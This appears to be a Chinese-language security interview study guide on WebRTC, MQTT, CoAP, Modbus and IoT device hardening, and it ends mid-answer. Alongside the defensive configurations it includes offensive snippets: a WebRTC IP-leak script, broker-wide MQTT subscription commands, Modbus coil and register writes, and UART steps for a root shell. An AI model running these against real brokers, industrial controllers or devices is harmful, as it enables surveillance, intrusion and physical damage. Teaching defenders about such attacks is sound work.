const pc = new RTCPeerConnection({ iceServers: [{urls: 'stun:stun.l.google.com:19302'}] }); pc.createDataChannel(''); // 触发 ICE 收集 pc.onicecandidate = e => { if (e.candidate) { // candidate 字符串里就有内网 IP console.log(e.candidate.candidate); } }; pc.createOffer().then(o => pc.setLocalDescription(o));用户只是打开网页,什么都不点,IP 就没了。
泄露的价值:
- 真实公网 IP(绕过 VPN,这是最严重的)
- 内网网段(为后续内网扫描提供目标)
- 是否在用 VPN / 企业内网
- 网络拓扑(多网卡、虚拟机、Docker)
为什么 VPN 挡不住: VPN 改的是默认路由,但 WebRTC 遍历所有网络接口, host 候选拿到的就是物理网卡的真实内网 IP。
防御:
方案 做法 浏览器插件 uBlock Origin 的 “Prevent WebRTC from leaking local IP” Firefox about:config→media.peerconnection.ice.no_host = truemDNS 混淆(Chrome 默认) 用随机 .local域名代替真实 IP应用侧 iceTransportPolicy: 'relay'—— 强制走 TURN,不暴露本地 IP局限:mDNS 只对 host 候选有效,srflx(公网 IP)仍会泄露。
E7. MQTT 是什么?Topic 通配符 # 和 + 有什么区别?为什么 # 危险?(难度 ★★)
答:
MQTT:物联网最常用的发布/订阅消息协议,跑在 TCP 上,报文头最小 2 字节, 极省电省流量(对 NB-IoT、LoRa 这类按流量计费的场景很关键)。
三个核心概念:
- Broker:消息中转站(邮局 / 广播站)
- Topic:消息分类标签,用
/分层(像电台频率)- Publisher / Subscriber:发布者 / 订阅者(互相不知道对方存在)
两个通配符:
通配符 含义 示例 +匹配单层 factory/+/dev1/temp匹配factory/line1/dev1/temp#匹配任意多层(必须在最后) factory/#匹配factory/anything/deep/path为什么
#危险: 单独订阅#= 订阅整个 Broker 的所有消息。 一条命令就能拿到所有设备的所有数据:mosquitto_sub -h broker -t '#' -v # 温度、湿度、GPS 位置、门锁指令、工控指令... 全都有防御:
# EMQX:禁止订阅 # 和 $SYS/# {deny, all, subscribe, ["#"]}. {deny, all, subscribe, ["$SYS/#"]}. # 设备只能订阅自己的 Topic {allow, {user, {re, "^device_.+$"}}, subscribe, ["devices/${username}/down/#"]}.面试加分:Topic 设计要上下行分离:
devices/{id}/up/telemetry(设备写,平台读)devices/{id}/down/command(平台写,设备读) 这样 ACL 才能精确控制——放一起就没法限制了。
E8. MQTT 的 QoS 0/1/2 有什么区别?QoS 2 为什么需要四次握手?(难度 ★★★)
答:
QoS 名称 白话 快递类比 报文次数 0 最多一次 发出去不管 平信 1 1 至少一次 没确认就重发 挂号信(可能重复送) ≥2 2 恰好一次 确保只送一次 签收单+回执 4 QoS 2 的四次握手:
Publisher Broker │── ① PUBLISH(qos=2) ────→│ 存消息(暂存,不投递) │←─ ② PUBREC ─────────────│ 我收到了,你别重发 │── ③ PUBREL ────────────→│ 你可以投递了 │←─ ④ PUBCOMP ────────────│ 完成,清理状态为什么要 4 步(核心): QoS 1 的问题是:Publisher 超时重发 PUBLISH, Broker 可能收到两次 → 投递两次(所以叫“至少一次”)。
QoS 2 的解法:用 PUBREC 让 Publisher 知道“我收到了,别再发 PUBLISH 了”。 之后 Publisher 改发 PUBREL(“你可以投递了”), 而 PUBREL 是幂等的——重发多次效果一样。 双方都记录 pktId 状态,才能保证恰好一次。
QoS 与安全的关系(面试加分):
- QoS 不是安全机制,是可靠性机制
- QoS 2 开销最大(4 次往返),攻击者可用来消耗资源
- QoS 1/2 需要 Broker 存未确认消息 → 发一堆不确认的消息能撑爆内存
- 防御:
max_inflight(限制未确认消息数)、max_queued_messages(限制离线队列)、session_expiry_interval(强制过期)
E9. MQTT 的保留消息(Retained Message)是什么?有什么攻击价值?(难度 ★★★★)
答:
是什么:Broker 记住每个 Topic 的最后一条消息。 新订阅者一订阅,立刻收到这条,不用等下一条。
类比:正常消息 = 电台正在播的内容;保留消息 = “最新一期节目录音”, 你任何时候调到这个台都先给你放。
为什么设计它:设备上报的状态(“灯是开着的”), 新上线的 App 不用等设备下次上报,订阅瞬间就知道当前状态。
攻击价值(★ 在于“持久性”):
普通消息:发一条,只有当时在线的收到,发完就没了 保留消息:发一条,Broker 永久记住,之后每一个订阅者都会立刻收到 → 投毒一次,持续生效四种攻击:
- 配置投毒:
devices/config/server改成攻击者的服务器 → 所有设备数据外泄- 状态欺骗:电机状态改成“正常运行” → 掩盖真实故障 → 事故
- 指令投毒:
garage/door/command设成open→ 设备每次上线都开门- 删除配置:发空消息 + retain → 设备拉不到配置 → 变砖
防御:
- Broker 层:
retain_available = false(业务不需要就彻底关掉)- ACL:禁止设备对
command/config/control类 Topic 发保留消息- 监控:定期扫描保留消息,比对基线,被篡改就告警
- 设备端:配置必须验签 + 版本号单调检查
E10. 什么是 CoAP?它的放大反射攻击为什么比 DNS 放大更狠?(难度 ★★★)
答:
CoAP:受限设备的“迷你 HTTP”,跑在 UDP 上,头部只有 4 字节。 用于纽扣电池供电、NB-IoT/LoRa 这类极低功耗场景。
为什么不用 HTTP:TCP 三次握手耗电、TCP 头 20 字节对 127 字节 MTU 太大、 HTTP 头比消息体还大、必须保持连接耗电。
放大反射三要素(CoAP 全中):
- UDP 无连接 → 源 IP 可伪造
- 请求小、响应大 → 请求 4 字节头,响应几 KB,放大 10~500 倍
- 服务器不验证源 IP → 来者不拒
为什么比 DNS 更狠:
- CoAP 请求更小(4 字节头 vs DNS 的十几字节)
/.well-known/core规范规定要返回完整的资源列表,可以很大- Observe 订阅能造成持续性放大(不是一次性,是一直推)
- 组播请求能一对多放大
防御(三层):
- 网络层(最根本):BCP 38 入口过滤——ISP 在边界丢弃源 IP 不属于本网段的包。 RFC 2827 是 2000 年的标准,但全球仍有约 30% 的 ISP 没部署。
- 服务器层:
- 限制
/.well-known/core大小(WELL_KNOWN_CORE_MAX_SIZE)- 限制响应大小(1KB 上限)
- 启用 DTLS(★ 最有效——DTLS 要握手,握手收不到响应就无法伪造 IP)
- 速率限制
- 受害者层:上游清洗、云高防、Anycast
E11. Modbus 协议为什么不安全?攻击者能做什么?(难度 ★★★)
答:
Modbus/TCP 报文里没有:
- ❌ 认证(不需要用户名密码)
- ❌ 加密(明文)
- ❌ 完整性校验(改了不知道)
- ❌ 防重放(录下来重发就行)
- ❌ 序列号
1979 年设计,那时工业网络是物理隔离的,完全没考虑安全。
类比:HTTP 接口 = 银行柜台(要身份证、要签字、有监控); Modbus = 敞开的配电箱,标签写着“1 号开关”、“2 号开关”,谁都能拨。
危险功能码:
功能码 作用 危险等级 物理影响 0x01/0x02/0x03/0x04 读 🟡 信息泄露(知道哪些阀门开着) 0x05 写单个线圈 🔴 开/关继电器 → 电机启停、阀门开关 0x06 写单个寄存器 🔴 改设定值 → 温度、压力、转速 0x0F/0x10 批量写 🔴 整条产线停机 / 工艺全乱 攻击演示(靶场):
client.write_single_coil(0, True) # 线圈 0 闭合 → 电机启动 client.write_single_register(100, 500) # 温度设定值改成 500(正常 180)防御:靠协议本身没救,只能靠外围:
- 物理隔离(air gap)——唯一能防 Stuxnet 的方法
- 工业防火墙(能理解 Modbus,做功能码白名单)
- 单向网闸(数据二极管)
- 工控 IDS 基线学习(工控流量高度规律,异常即告警)
- 新系统用 OPC UA(内建证书认证 + 加密 + 签名 + 授权)
E12. 工控安全(OT)和传统 IT 安全的优先级有什么不同?为什么?(难度 ★★★★)
答:
传统 IT(CIA): ① Confidentiality 机密性(最重要) ② Integrity 完整性 ③ Availability 可用性
工控 OT(AIC,倒过来): ① Availability 可用性(产线不能停,停机 1 分钟 = 几十万) ② Integrity 完整性(参数被篡改 = 产品报废/设备损坏/人员伤亡) ③ Confidentiality 机密性(生产数据泄露相对没那么严重)
这个差异导致很多 IT 安全措施不能直接上:
IT 措施 为什么 OT 不能直接上 装杀毒软件 可能占资源导致 PLC 扫描周期超时 → 产线停机 打补丁 补丁可能让设备不稳定,工控系统常年不更新(有些还在跑 Windows XP) 重启 重启 = 停机 = 钱 主动扫描 Nmap 全端口扫描可能把老设备扫死机 频繁改配置 每次改动都要停机测试 工控安全的正确思路:
- 网络分段:IT 网 / DMZ / OT 网,工业防火墙隔离
- 协议白名单:只允许特定的 源 IP + 目标 IP + 功能码 + 地址范围 + 值范围
- 单向网闸:硬件保证只能单向传输
- 被动监测:不发包,只监听(tcpdump 式)→ 工控 IDS 基线学习
- 能看见比能拦住更重要:因为协议没认证,拦不住,所以必须能发现
面试加分:为什么工控 IDS 用基线学习特别有效? 因为工控流量高度规律——同样的设备每秒读同样的寄存器, 数值在固定范围内波动。这和 IT 网络的随机流量完全不同。 所以“出现从未见过的功能码”或“写入超出历史范围的值”就能高精度告警。
E. 进阶题(13~22)
E13. WebSocket 的限流应该怎么做?为什么传统的“每分钟 N 个请求”无效?(难度 ★★★★)
答:
为什么传统限流无效:
HTTP: 刷 1 万次 → 1 万个请求 → "每分钟 100 请求"拦截 ✅ WebSocket:建 1 条连接(算 1 个请求)→ 里面发 1 万条消息 → 限流规则毫无反应 ❌四个必须限的维度:
维度 限制 防什么 消息数(每秒) 10 条/秒/连接 消息洪水、刷屏 字节数(每分钟) 100KB/分钟 带宽耗尽 连接数(全局/单 IP/单用户) 50000/50/10 连接耗尽 消息大小 64KB 内存撑爆 补充维度:
- 重复内容数:相同内容 1 分钟最多 3 次(防复制粘贴刷屏)
- 违规次数:累积 5 次断开连接 + 封禁 10 分钟
- 空闲超时:5 分钟无消息踢掉(防慢速攻击)
实现要点:
- 限流必须在应用层做(网关看不到 WebSocket 帧)
- 用 Redis Lua 保证原子性(读-判断-写三步,并发下必须原子)
- 计数器要清理(
finally里 decrement,异常时也不能泄漏)配置(Spring):
container.setMaxTextMessageBufferSize(64 * 1024); // 单条消息 container.setMaxSessionIdleTimeout(5 * 60 * 1000); // 空闲超时 // 关键:不支持分片消息,直接消灭分片累积攻击 handler.setSupportsPartialMessages(false);
E14. WebSocket 的分片攻击(Frame Fragmentation DoS)是什么?怎么防?(难度 ★★★★)
答:
原理: WebSocket 的帧有 FIN 位表示“是不是最后一帧”。 攻击者可以:
发 FIN=0 的第 1 片(1 字节) 发 FIN=0 的第 2 片(1 字节) ...重复 1000 万次... 永远不发 FIN=1服务端认为“消息还没结束”,只能一直缓存: 1MB → 10MB → 100MB → 1GB… 100 个这样的连接 = 服务器 OOM。
★ 最简防御:
@Override public boolean supportsPartialMessages() { return false; // 容器会在收完整条消息后才调 handleMessage }直接消灭分片累积——容器要么收完整条,要么超过
maxMessageSize直接关连接。其他可能撑爆内存的地方:
- Payload len 可扩展到 64 位:可以声明 2^63 字节。 服务端不能预分配内存,必须边收边检查
- opcode=0(续帧)但没有起始帧:协议错误,直接断开
- MASK 位必须为 1(客户端→服务端):不掩码就是缓存投毒攻击,断开
配置兜底:
container.setMaxTextMessageBufferSize(64 * 1024); container.setMaxBinaryMessageBufferSize(64 * 1024); container.setMaxSessionIdleTimeout(5 * 60 * 1000); container.setAsyncSendTimeout(10_000);
E15. 为什么 Token 不应该放在 WebSocket / SSE 的 URL 里?应该怎么做?(难度 ★★★)
答:
URL 里的 Token 会泄露到:
- Nginx access.log(默认记录完整 URL)
- 浏览器历史记录
- Referer 头(页面有外链时可能带出去)
- 服务端异常堆栈(打印 URL)
- 中间代理(公司网关、CDN)
- APM / 链路追踪(SkyWalking、Zipkin 会记录 URL)
而且 WebSocket/SSE 的 Token 通常长效(几小时),泄露窗口大。
为什么只能放 URL? 因为浏览器 API 限制:
new WebSocket(url, protocols)—— 第二个参数只能是子协议列表,不能设 headersnew EventSource(url, {withCredentials})—— 只有一个选项三种正确方案:
方案 A:Cookie + SameSite(最简单)
const ws = new WebSocket('wss://api/ws'); // 浏览器自动带 Cookie服务端:
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax前端必须配 Origin 校验(防 CSWSH)方案 B:一次性 ticket(推荐)
1. fetch('/api/ws/ticket') → 返回 60 秒有效、只能用一次的 ticket 2. new WebSocket('wss://api/ws?ticket=xxx') 3. 服务端 Lua 脚本原子地 GET + DELETE(防重放)优点:Token 永不进日志;ticket 60 秒过期;只能用一次;可绑定 IP + UA
方案 C:子协议带 Token
new WebSocket('wss://api/ws', ['jwt', token]);服务端解析
Sec-WebSocket-Protocol的第二个值方案 D(SSE 专用):用 fetch 手动实现 能设任意 header,但要自己实现重连、Last-Event-ID、解析
E16. MQTT Broker 的完整加固方案是什么?(难度 ★★★★)
答(分五层):
① 认证层
allow_anonymous false # ★ 最重要的一行 listener 8883 0.0.0.0 # 只开 TLS 端口 require_certificate true # mTLS(高安全场景)
- MQTT 3.1.1 的用户名密码是明文传输的 → 必须配 TLS,否则抓包即得
- 一机一密,不用全局共享密码
- 固件里不硬编码可用凭据
② 授权层(ACL)
# 顺序匹配,deny 必须放前面 {deny, all, subscribe, ["#"]}. # 禁止订阅全部 {deny, all, subscribe, ["$SYS/#"]}. # 禁止系统主题 # 设备只能访问自己的 Topic(用 ${username} 变量) {allow, {user, {re, "^device_.+$"}}, publish, ["devices/${username}/up/#"]}. {allow, {user, {re, "^device_.+$"}}, subscribe, ["devices/${username}/down/#"]}.
- 默认拒绝(no_match = deny)
- 上下行 Topic 分离(up/ vs down/)
③ 资源层(防 DoS)
max_connections 10000 # 最大连接数 message_size_limit 1048576 # 单条 1MB max_inflight_messages 32 # 未确认 QoS1/2 消息数(防内存耗尽) max_queued_messages 1000 # 离线队列 max_keepalive 65535④ 保留消息
retain_available = false # 业务不需要就关掉或 ACL 禁止对 command / config 类 Topic 发保留消息
⑤ 监控
- 认证失败次数异常(爆破)
- 同一 ClientID 多地登录(设备克隆)
- 订阅
#或$SYS/#的行为- 保留消息被篡改
- 连接数突增(设备批量掉线/上线)
E17. IoT 设备固件的硬编码凭据问题怎么根治?(难度 ★★★★)
答:
问题的本质: 设备要主动连 Broker,就必须持有凭据。但批量生产时凭据怎么给每台设备?
方案 后果 所有设备共用一套账号密码 ❌ 一台被拆,全部沦陷(提取固件只要 10 分钟) 每台设备烧录唯一凭据 ✅ 正确,但产线要支持 设备证书(mTLS) ✅ 最安全,但需要 PKI 体系 ★ 根治方案:一机一密 + 动态凭据 + 定期轮换
流程:
出厂烧录:设备唯一 ID + 设备私钥(或预共享密钥) ↓ 首次联网:设备用私钥对 challenge 签名 → 服务端用公钥验证 ↓(这一步证明"你是真设备,不是伪造的") 验证通过 → 服务端生成【临时的】MQTT 凭据(90 天有效) ↓ 设备用临时凭据连 Broker ↓ 定期轮换(每天扫描 7 天内过期的,自动生成新的并下发)好处:
- 固件里没有能直接用的 MQTT 密码(提取固件也没用)
- 每台设备凭据不同(一台泄露不影响其他)
- 凭据有过期时间(泄露影响有限)
- 可以单独吊销某台设备
类比:
- 写死密码 = 全公司共用一把大门钥匙(丢一把,全换锁)
- 一机一密 = 每人一张工牌(丢一张,只吊销那张)
- 动态凭据 = 工牌每天失效,第二天要重新激活
配套措施:
- 私钥存在安全芯片(SE / TPM / TrustZone),不放普通 Flash
- 熔断 eFuse 禁用 JTAG/SWD(防止读出 Flash)
- 启用 Secure Boot + Flash 加密(读出来是密文)
- 检测到失陷设备:立即从 Broker 删除用户 + 断开连接 + 标记状态
E18. OTA 固件升级的降级攻击是什么?怎么防?(难度 ★★★★)
答:
攻击场景:
固件 v1.0 有漏洞(攻击者已掌握利用方法) 厂商发布 v2.0 修复了 但是:设备只要签名正确就接受任何版本 攻击: 1. 从官网下载 v1.0 的官方签名固件 2. 推送给已升级到 v2.0 的设备 3. 设备验证签名 → ✅ 通过(这确实是官方签名的) 4. 设备降级到 v1.0 5. 攻击者用已知漏洞攻陷设备为什么容易成功: 开发者以为“签了名就安全了”,忽略了版本维度。 这是 2010 年代 Android 的著名问题,后来 Google 引入了防回滚保护(Anti-Rollback)。
★ 防御的核心:安全版本计数器
版本号必须存在【安全存储区】: - eFuse(一次性可编程熔丝,烧断不能恢复) - RPMB(eMMC 的重放保护内存块,需要密钥认证才能写) - TrustZone / Secure Enclave - TPM 的单调计数器(Monotonic Counter) 为什么不能存普通 Flash? 攻击者可以直接改掉版本号,让设备以为自己还是 v1.0,然后降级成功。完整防御(五个要求):
- 认证:ECDSA 签名,签名对象必须包含版本号(只签固件内容没用)
- 完整性:SHA-256 哈希(用
MessageDigest.isEqual常量时间比对)- 机密性:固件加密(AES-GCM),解密密钥在安全芯片里
- ★ 防降级:安全版本计数器单调递增,版本 <= 当前就拒绝
- 安全恢复:A/B 分区(先写备用分区,验证能启动再切换,失败自动回滚)
★ 实现细节(两个易错点):
- 版本计数器必须在确认新固件能启动之后才更新。 先更新再刷机,刷失败就永久锁死了。
- 要检查
minVersion(防止跨版本跳跃到有问题的中介版本)灰度发布:不要一次推给所有设备。 一致性哈希选 10% → 观察 24 小时 → 25% → 50% → 100%。
E19. 硬件调试接口(UART/JTAG/SWD)的风险是什么?厂商怎么防?(难度 ★★★)
答:
风险:
接口 接线 能做什么 常见度 UART 3~4 根(VCC/GND/TX/RX) ★ 直接拿 root shell ⭐⭐⭐⭐⭐ JTAG 4~20 根 读固件、绕过密码、改程序 ⭐⭐⭐⭐ SWD 2 根(ARM) 同 JTAG ⭐⭐⭐⭐ SPI Flash 测试夹 读出完整固件 ⭐⭐⭐ UART 攻击流程(5~30 分钟):
1. 万用表找 GND(蜂鸣档接电源外壳)和 VCC(稳定 3.3V/5V) 2. 剩下两个是 TX(电压跳动)和 RX(电压稳定) 3. USB-TTL 转换器交叉连接(TX→RX, RX→TX, GND→GND) ⚠️ VCC 不接!⚠️ 3.3V/5V 电平要匹配,接错烧毁 4. screen /dev/ttyUSB0 115200 5. U-Boot 倒计时按任意键进命令行 6. setenv bootargs ... init=/bin/sh; boot 7. → 直接拿到 root shell,不需要密码厂商防御:
生产阶段:
- 熔断 eFuse 永久禁用 JTAG/SWD(STM32: RDP Level 2,不可逆)
- UART 只留 TX(只能输出日志,不能输入命令),或完全移除焊盘
- U-Boot 设密码 /
setenv bootdelay 0(不给按键盘的机会)固件层:
- 关闭串口 root shell(
/etc/inittab注释掉 console)- Secure Boot + Flash 加密
- 密钥放安全芯片(SE/TPM/TrustZone)
物理层:
- 外壳防拆(拆开触发告警)
- 关键芯片灌胶
- Flash 用 BGA 封装(不能用夹子夹)
E20. IoT 设备默认口令问题为什么这么严重?平台侧能做什么?(难度 ★★)
答:
为什么严重: 2016 年 Mirai 僵尸网络用61 个硬编码的默认口令, 感染了 60 万台设备(摄像头、路由器、DVR)。 造成的攻击:
- 法国 OVH 被 1Tbps DDoS
- Dyn DNS 被攻击 → Twitter/GitHub/Netflix/PayPal 全挂
- 德国电信 90 万用户断网
到 2026 年 Mirai 变种仍在活跃,因为仍有大量设备用默认口令且从不更新。
平台侧能做的(设备密码我们改不了,但能限制):
① 弱口令检测
- 长度 ≥ 12
- 弱口令字典(Top 1000)黑名单
- 复杂度(大小写/数字/特殊字符至少 3 种)
- 连续/重复字符检测(11111、abcabc)
- 不能包含 “device” / “admin”
② 首次激活强制改密
- 检测到出厂默认密码 → 标记
forcePasswordChange- 24 小时内不改 → 限制功能(只保留改密的 API)
③ 登录失败锁定
- 30 分钟内失败 5 次 → 锁定 30 分钟 + 告警(疑似爆破)
④ 异常登录检测
- 异地登录:1 小时内跨国(物理上不可能)
- IP 段突变
- 同一凭据多地同时在线(设备克隆)
- 命中 2 个以上 → 直接锁定
⑤ 网络层
- 设备准入控制(802.1X)
- IoT 设备单独 VLAN,禁止访问核心业务网
E21. TURN 服务器被“白嫖”是什么问题?怎么防?(难度 ★★★)
答:
问题: TURN 是中继服务器,所有流量都过它。 如果没有认证,任何人都能拿它当:
- 免费中继(蹭你的带宽,你的钱)
- DDoS 跳板(隐藏真实来源)
- 绕过网络审查的工具
更严重的:如果没配
denied-peer-ip, 攻击者能用你的 TURN 服务器扫描/攻击你的内网—— 这叫 “TURN as a port scanner”。防御(coturn 配置):
# ① 禁用匿名访问(核心) no-anonymous-access # ② 动态凭据(推荐) use-auth-secret static-auth-secret=YOUR_LONG_RANDOM_SECRET # ③ 资源限制 max-bps=262144 # 单会话 64KB/s total-quota=100 # 总并发中继会话 # ④ ★ 禁止中继到内网(最关键的安全配置) denied-peer-ip=0.0.0.0-0.255.255.255 denied-peer-ip=10.0.0.0-10.255.255.255 denied-peer-ip=172.16.0.0-172.31.255.255 denied-peer-ip=192.168.0.0-192.168.255.255 denied-peer-ip=127.0.0.0-127.255.255.255 denied-peer-ip=169.254.0.0-169.254.255.255 denied-peer-ip=224.0.0.0-255.255.255.255 no-multicast-peers动态凭据原理(
use-auth-secret):用户名:{过期时间戳}:{username} 例:1700000000:alice 密码:base64(HMAC-SHA1(secret, 用户名))
- 凭据有时效(过期时间戳就是过期时间)
- 不用在 coturn 上预存用户
- 服务端能控制谁能用、用多久
- 泄露影响有限
类比:固定密码 = 家门钥匙(丢了要换锁); 动态凭据 = 2 小时有效的临时门禁卡(丢了也就 2 小时)
E22. 信令服务器为什么是 WebRTC 最薄弱的环节?怎么加固?(难度 ★★★★)
答:
为什么:
数据通道:A ←──── DTLS 强制加密 ────→ B ✅ 协议保证 信令通道:A ←── 你自己写的 WebSocket ──→ B ❌ 没有任何标准保护WebRTC 强制使用 DTLS-SRTP,数据通道很安全。 但建立连接的过程(SDP 交换)完全由你自己实现,协议不管。
攻击面:
攻击 说明 后果 房间 ID 可猜测 房间号是 123456、room1 陌生人进会议(Zoombombing) 无鉴权加入 任何人能进任何房间 窃听、骚扰 SDP 注入 篡改 SDP 里的 iceServers ★ 流量走攻击者的 TURN → 中间人窃听 信令重放 重放他人的 offer/answer 会话劫持 ★ SDP 注入是最隐蔽的: 攻击者构造 SDP,里面的 ICE 候选指向自己的 TURN 服务器。 服务端无脑转发 → 对端流量经过攻击者的服务器 → 中间人窃听。 数据通道本身是加密的,但攻击者能拿到元数据、能做流量分析, 如果是 SFU 架构(不是 P2P),甚至能直接解密。
加固(七个要点):
- 房间 ID 密码学随机(≥128 位),不用自增数字
byte[] bytes = new byte[16]; secureRandom.nextBytes(bytes); // → Xk9mPq2LrT4wY8zA(2^128 种可能,暴力破解不可能)- 加入需要鉴权(Token + 可选访问码,访问码存 BCrypt hash)
- 访问码失败次数限制(15 分钟内 5 次锁定)
- 房间过期时间(4 小时自动关闭)
- 人数上限
- ★ SDP 内容校验:提取所有 candidate 的 IP,检查是否在允许的 ICE 服务器列表里
- 信令消息限流
补充:
fromUserId这类字段由服务端填充,不接受客户端自称。
E. 场景题(23~27)
E23. 场景:公司的 WebSocket 聊天室上线后,服务器频繁 OOM。排查发现内存里有大量未完成的消息。可能是什么原因?怎么解决?(难度 ★★★★)
答:
最可能的原因:分片攻击(Frame Fragmentation DoS)
现象分析: “大量未完成的消息” = 攻击者一直发
FIN=0的分片,永远不发最后一帧。 服务端认为消息没结束,一直缓存在内存里。排查步骤:
- 看堆转储:
jmap -dump:format=b,file=heap.hprof <pid>用 MAT 分析,找占用大的对象 → 应该是byte[]或StringBuilder- 看连接数:
netstat -an | grep :8080 | wc -l如果连接数不多但内存爆了 → 几乎肯定是分片/大消息攻击- 看单连接内存:如果单个连接占了几百 MB → 确认是分片累积
解决方案(分层):
① 立止血
@Override public boolean supportsPartialMessages() { return false; // ★ 不支持分片,容器收完整条才处理 } container.setMaxTextMessageBufferSize(64 * 1024); container.setMaxBinaryMessageBufferSize(64 * 1024);② 加限制
container.setMaxSessionIdleTimeout(5 * 60 * 1000); // 空闲 5 分钟踢掉 container.setAsyncSendTimeout(10_000); // 发送超时 registration.setSendBufferSizeLimit(512 * 1024); // 发送缓冲区③ 加限流(消息级,不是请求级)
- 每连接每秒最多 10 条消息
- 每分钟最多 100KB
- 违规 5 次断开 + 封禁
④ 加连接数限制
- 全局 50000、单 IP 50、单用户 10
- 计数器在
finally里释放(防泄漏)⑤ 排查其他可能 如果不是分片攻击,还要检查:
- Payload len 声明为 64 位最大值:服务端预分配内存 → OOM → 必须边收边检查,不能预分配
- opcode=0 的孤儿续帧:没有起始帧的续帧 → 协议错误,断开
- 未掩码的帧:客户端→服务端 MASK 必须为 1,否则断开
- 会话泄漏:连接断开后没从 Map 里移除 → 用
finally清理
E24. 场景:你在做安全评估,发现客户的 MQTT Broker 在公网上,port 8883 开了 TLS。客户说“我们用了 TLS,很安全”。你怎么验证?怎么说服他们整改?(难度 ★★★★)
答:
第一步:验证 TLS 不代表安全
TLS 只解决传输加密(中间人看不到内容), 不解决身份认证(谁能连)和授权(能看什么)。
验证命令:
# 测试匿名访问(TLS 不影响这个) mosquitto_sub -h broker.customer.com -p 8883 -t '#' -v \ --cafile /etc/ssl/certs/ca-certificates.crt结果判读:
Connection Code: 0→ 匿名可连!TLS 白配了Connection Refused: not authorised→ 客户是对的第二步:如果匿名可连,展示影响(用数据说话)
# ① 5 分钟能拿到什么 timeout 300 mosquitto_sub -h broker -t '#' -v > traffic.log wc -l traffic.log # 输出:15234 条消息 # ② 拿设备清单 mosquitto_sub -h broker -t '$SYS/broker/clients/#' -v # 输出:1523 个设备的 ID + 真实 IP + 上线时间 # ③ 找敏感 Topic grep -iE "cmd|command|control|unlock|gps|password|token" topics.txt # 输出: # vehicles/BJ/京A12345/gps # home/livingroom/doorlock/command # factory/line1/plc001/command第三步:说服(讲业务影响,不讲技术术语)
❌ 错误说法:“你们的 Broker 允许匿名访问,违反了最小权限原则” ✅ 正确说法:
“我在公网上用一条命令就拿到了 1523 台设备的完整清单, 包括每台设备的编号和真实 IP。 又监听了 5 分钟,收到了 15234 条消息, 里面有车辆 GPS 位置、门锁开关指令、产线 PLC 控制指令。
也就是说:任何人只要知道这个域名, 就能实时看到你们所有车辆的位置, 并且能下发指令——包括开锁和停机。
修复只需要改一行配置:
allow_anonymous false再加 ACL。工作量大概半天,但能消除这个风险。“
第四步:给出完整整改清单
allow_anonymous false- ACL:
{deny, all, subscribe, ["#"]}.+{deny, all, subscribe, ["$SYS/#"]}.- 设备只能访问
devices/${username}/#- 上下行 Topic 分离
- 一机一密
- 资源限制(连接数、消息大小、inflight)
- 监控告警(认证失败、订阅
#的行为)加分:如果客户问“那 TLS 是不是白配了”, 要说明 TLS 不是白配——它防住了中间人窃听和凭据抓包。 只是光有 TLS 不够,还需要认证和授权。
E25. 场景:车联网平台,100 万台车辆通过 MQTT 上报数据。设计一套完整的安全方案。(难度 ★★★★★)
答(分层设计):
① 身份层:一机一密 + 证书
出厂:每辆车烧录唯一设备 ID + ECDSA 私钥(存 T-Box 安全芯片) 公钥注册到平台 激活:车辆用私钥对 challenge 签名 → 平台验签 → 下发临时 MQTT 凭据 ★ 高安全场景用 mTLS(客户端证书),配合证书自动轮换② 传输层
- MQTT over TLS(8883),TLS 1.3
- 禁用 1883 明文端口
- 证书绑定(T-Box 端校验服务端证书指纹,防中间人)
③ 授权层:ACL
# 车辆只能访问自己的 Topic {allow, {user, {re, "^veh_.+$"}}, publish, ["vehicles/${username}/up/#"]}. {allow, {user, {re, "^veh_.+$"}}, subscribe, ["vehicles/${username}/down/#"]}. # ★ 禁止订阅全部和系统主题 {deny, all, subscribe, ["#"]}. {deny, all, subscribe, ["$SYS/#"]}. # ★ 指令 Topic 只允许平台账号发布,车辆只能订阅 {deny, {user, {re, "^veh_.+$"}}, publish, ["vehicles/+/down/#"]}.④ Topic 设计
vehicles/{vin}/up/telemetry 车辆上报(车写,平台读) vehicles/{vin}/up/gps 位置上报 vehicles/{vin}/down/command 平台下发(平台写,车读) vehicles/{vin}/down/config 配置下发 ★ 上下行严格分离,ACL 才能精确控制⑤ 指令安全(最关键)
- 指令必须签名:平台用私钥签名,车辆用公钥验证
- 指令带时间戳 + nonce:防重放(车辆本地维护已处理的 nonce 集合)
- 指令分级:
- 低危(查询状态):直接执行
- 中危(配置变更):需要用户确认
- 高危(远程锁车、断油断电):★ 必须二次确认 + 人工审核 + 全程录像
- 指令审计:所有指令留痕,可追溯到操作人
⑥ 数据层
- GPS 数据脱敏存储(精度降到 100 米,除非业务需要)
- 敏感字段加密(车主信息、行程轨迹)
- 数据分级分类 + 访问控制
⑦ 监控
- 同一 VIN 多地同时在线(克隆设备)
- 指令频率异常(1 分钟内 10 次锁车 = 攻击)
- 车辆上报数据突变(GPS 瞬移 = 伪造)
- 认证失败异常(爆破)
⑧ 准入与隔离
- 车辆网段与业务网隔离
- 设备失陷后能快速吊销(
deleteUser+kickClient)⑨ OTA
- 固件签名(ECDSA)+ 防降级(安全版本计数器)
- A/B 分区(防变砖)
- 灰度发布(1% → 10% → 50% → 100%)
⑩ 合规
- 等保 2.0 三级
- 数据出境(车辆位置属于重要数据,出境要评估)
- 《汽车数据安全管理若干规定(试行)》
E26. 场景:你们的视频会议产品用了 WebRTC,安全团队提了三个问题:① 用户内网 IP 可能泄露 ② TURN 账单异常高 ③ 有人能猜到会议房间号。分别怎么解决?(难度 ★★★★)
答:
问题 ①:内网 IP 泄露
原因:WebRTC 收集 host 候选(本机内网 IP)发给对端,不需要用户授权。
解决方案(分层):
- 产品默认:
iceTransportPolicy: 'relay'→ 只用 TURN 中继候选,不暴露任何本地 IP → 代价:延迟增加、TURN 带宽成本上升- 折中方案:普通会议用
all(允许 P2P,性能好), 高敏感会议(如董事会、涉密会议)强制relay- 告知用户:隐私声明里说明,给用户开关
- 验证:用
getStats()检查实际使用的候选类型问题 ②:TURN 账单异常高
原因:TURN 无认证被白嫖(别人拿你当中继/跳板)。
解决:
no-anonymous-access # 禁用匿名 use-auth-secret # 动态凭据 static-auth-secret=xxx max-bps=262144 # 单会话 64KB/s(够视频会议) total-quota=100 # 总并发限制 # ★ 禁止中继到内网(防止变成内网扫描器) denied-peer-ip=10.0.0.0-10.255.255.255
- 凭据有效期 ≤ 2 小时,绑定用户
- 监控每个用户的 TURN 流量,异常告警
- 按需分配:能 P2P 就不给 TURN 凭据
问题 ③:房间号可猜测
解决:
